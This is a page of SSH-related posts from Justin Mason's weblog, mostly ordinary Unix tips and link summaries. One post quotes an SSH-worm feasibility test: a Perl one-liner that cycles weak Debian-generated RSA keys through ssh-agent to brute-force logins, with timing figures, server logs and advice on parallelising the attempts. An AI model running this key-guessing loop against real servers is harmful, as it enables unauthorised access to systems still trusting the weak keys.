taint.org: Justin Mason’s Weblog

• Federal Circuit Says Open Source License Conditions are Enforceable as Copyright Conditions : ‘the conditions of the Artistic License are “enforceable copyright conditions.”‘ hooray (via Nat Friedman)
  (tags: via:natfriedman open-source artistic license licensing software law us-law)

• joshua confirms the “Yahoo dropped the del.icio.us ball with a pointless 3 year rewrite” story : ‘The writer is accidentally correct - we were told that it had to be in PHP to get ops support.’ Incredibly stupid mistake by Y!; I’m thankful we in Deersoft fended off the same potential disaster
  (tags: yahoo rewrites coding c++ php mod_perl perl ops timewasting waste del.icio.us via:dare)

• “Anatomy of a Subway Hack” [PDF presentation, 87 slides] : a fantastic prez by 3 MIT students working under Ron Rivest, successfully hacking the Boston subway system’s stored-value magstripe cards and MIFARE Classic RFID cards; really fantastic walkthrough of the process. I’m glad to see that my smartcard work on other systems a few years back would have defeated many of these attacks ;)
  (tags: mifare rfid smartcards security pen-tests hacking defcon presentations mbta magstripe)

• Anti-Virus Products Still Fail on Fresh Viruses : shocking — the malware distributed by the Storm “CNN headlines” campaign, which has been ongoing for weeks, remains undetected by F-Prot, F-Secure, McAfee, Panda, Symantec and Trend, along with 16 other antivirus products. reactive AV simply doesn’t work anymore
  (tags: antivirus fail mcafee f-prot f-secure panda symantec trend security worrying av broken)

• removing outdated ssh fingerprints from known_hosts : avoiding the annoying “REMOTE HOST IDENTIFICATION HAS CHANGED!” warning, using “ssh-keygen -R hostname”
  (tags: ssh tips unix scp known_hosts)

Tags: antivirus, artistic, av, broken, c++, coding, defcon, del.icio.us, f-prot, f-secure, fail, hacking, known_hosts, law, license, licensing, magstripe, mbta, mcafee, mifare, mod_perl, open-source, ops, panda, pen-tests, perl, php, presentations, rewrites, rfid, scp, security, smartcards, software, ssh, symantec, timewasting, tips, trend, unix, us-law, via:dare, via:natfriedman, waste, worrying, yahoo

Here’s some pretty scary figures from Craig Hughes on the viability of an SSH worm:

when doing this, connecting to localhost:

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@localhost'"'"'); system("ssh-add -D"); $keys = ""; }'

4.63user 3.06system 0:19.54elapsed

ie about 50 per second

when connecting remotely over the internet (ping RTT is ~60ms):

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@example.com'"'"'); system("ssh-add -D"); $keys = ""; }'

1.10user 0.60system 0:35.15elapsed

ie about 6 per second over the internet.

Logging of the failures on the server side looks like this:

May 15 10:53:31 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50445;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:32 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50446;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:33 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50447;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:34 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50448;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:35 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50451;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:36 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50452;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:37 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50453;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:39 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50455;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:40 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50456;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:41 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50457;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:42 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50458;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:43 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50459;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1

ie it shows the connection attempt, but NOT the failure. It shows one connection attempt per 7 keys attempted.

So given that:

1. RSA is the default if you don’t specify for ssh-keygen
2. 99.99% of people use x86
3. PID is sequential, and there’s almost certainly an uneven distribution in PIDs used by the keys out there in the wild

then:

Probably there’s about 10k RSA keys which are in some very large fraction of the (debian-generated) authorized_keys files out there. These can be attempted in about 1/2 an hour, remotely over the internet. You can hit the full 32k range of RSA keys in an hour and a half. Note that the time(1) output shows how little load this puts on the client machine — you could easily run against lots of target hosts in parallel; most of the time is spent waiting for TCP roundtrip latencies. Actually, given that, you could probably accelerate the attack substantially by parallelizing the attempts to an individual host so you have lots of packets in flight at any given time. You could probably easily get up towards the 50/s local number doing this, which brings time down to about 3-4 minutes for 10k keys, or 11 minutes for the full 32k keys.

Tags: openssh, scary, security, ssh, vulnerabilities

If you routinely log into one or more remote systems using SSH, and have a flaky internet connection or an incompetent ISP, you probably already know about screen’s ability to detach and reattach sessions.

However, you still have to manually type screen -r to resume a detached session, each time — and sometimes you’ll forget, start working in an SSH session, get logged out, and lose your state.

Here’s the next step — automatic screen-sessions for any remote logins: RemoteLoginAutoScreen.

Tags: howto, remote-login, screen, scripting, ssh, unix

UNIX: a quick recap of a good tip combo picked up from ILUG recently. To paraphrase Conor Wynne’s original question:

What’s the best way to set up a secure connection between two hosts, possibly over the internet, using SSH, suitable for use from cron so that it can run via crontab without entering authentication manually?

Barry O’Donovan replied:

I suggested ssh keys without passphrases … in
http://www.barryodonovan.com/publications/lg/104/ and it includes instructions. … You can invoke rsync over ssh and specify a specific key with:

rsync -a -e ’ssh -i /home/username/.ssh/id_rsa-serverbackup’

Colm MacCárthaigh followed up with:

You can restrict what commands an ssh account can run in the ssh public key. This is how some of our more important projects (like Debian, FreshRPMS, and a few more) push us updates. The key looks like (jm: all on one line, no space between ‘no-pty,’ and ‘command’):

no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty, command=”/home/ximian/rsync-ximian-nolog &”
ssh-dss keydata username@blah

So, create a passwordless public key like so, and just change the command to whatver rsync runs.

Combined, that’s a useful tip — I knew about the ssh command restriction technique, but being able to use a specific single-purpose key from the ssh client is very useful.

(updated: mbp mailed to note some missing quotes in Barry’s command above; they’d been eaten by WebMake. drat.)

Tags: combo, command, home, ilug, key, recap, rsync, ssh, tip, unix, username

Unix: via Ted Leung, Adam Rosi-Kessel’s Linux Tips page has some very useful tips, and this one’s great — to avoid
getting SSH connection resets, add the following to your .ssh/config:

    serveraliveinterval 300
    serveralivecountmax 10 

This will insure (jm: sic) that ssh will occasional send an ACK type request every 300 seconds so that the connection doesn’t die.

As a similar tip that took a while to track down — KDE users who’ve upgraded between KDE releases, will probably by now have seen lots of messages like this:

  nameofapp (KIconLoader): WARNING: Icon directory /usr/share/icons/hicolor/
  group 48x48/stock/text not valid.

It took a bit of googling about to find the cure:

• run in a shell (I cannot find this on any menu): kdebugdialog –fullmode
• select: debug area: 264 kdecore (KIconLoader)
• Change the Warning Output to ‘None’
• select: OK

Tags: connection, kde, kessel, kiconloader, linux, page, rosi, ssh, tips, unix, warning

Given all the fuss over blocking dynamic IPs due to spam, I’ve long sent outgoing SMTP via my server (which lives on a static IP). I download my mail from that using fetchmail over an SSH tunnel, and have done for a while. It’s very reliable, and that way it really doesn’t matter where I download from — quite neat. Also means I don’t have to futz with SMTP AUTH, IMAP/SSL, Certifying Authorities, or any of the other hand-configured complex PKI machinery required to use SSL for authentication.

However, I’ve been using plain old SMTP for outgoing traffic, by just poking a hole in the access db for the IP I’m on. A bit messy and generally not-nice.

So I decided to make it sensible and deliver using SMTP-in-an-SSH-tunnel. In the same SSH tunnel, in fact ;) With Postfix, it turned out very easy — here’s how to do it:

Add this option to the SSH commandline in the SSH tunneling script (I’m presuming you have one ;):

-L 8025:127.0.0.1:25

That’ll port-forward port 25 on the remote system to port 8025 on localhost, so that if a connection is made to port 8025 on localhost, it’ll talk to port 25 on the remote host. Std SSH tunneling there.

Now for Postfix — add this to /etc/postfix/main.cf:

default_transport = smtp:localhost:8025

This means that Postfix will always use SMTP to localhost on port 8025 for any non-local deliveries.

Run service postfix reload (cough, Red Hat-ism) and that’s it! A whole lot easier than I was expecting… Postfix rocks.

Tags: download, ips, localhost, port, postfix, smtp, spam, ssh, ssl, tunnel

A couple of handy links for while I’m on the road:

• SquirrelMail at jmason.org

• MindTerm SSH applet

Saves me typing — consider these recommendations ;)

Tags: applet, couple, jmason, mindterm, org, road, saves, squirrelmail, ssh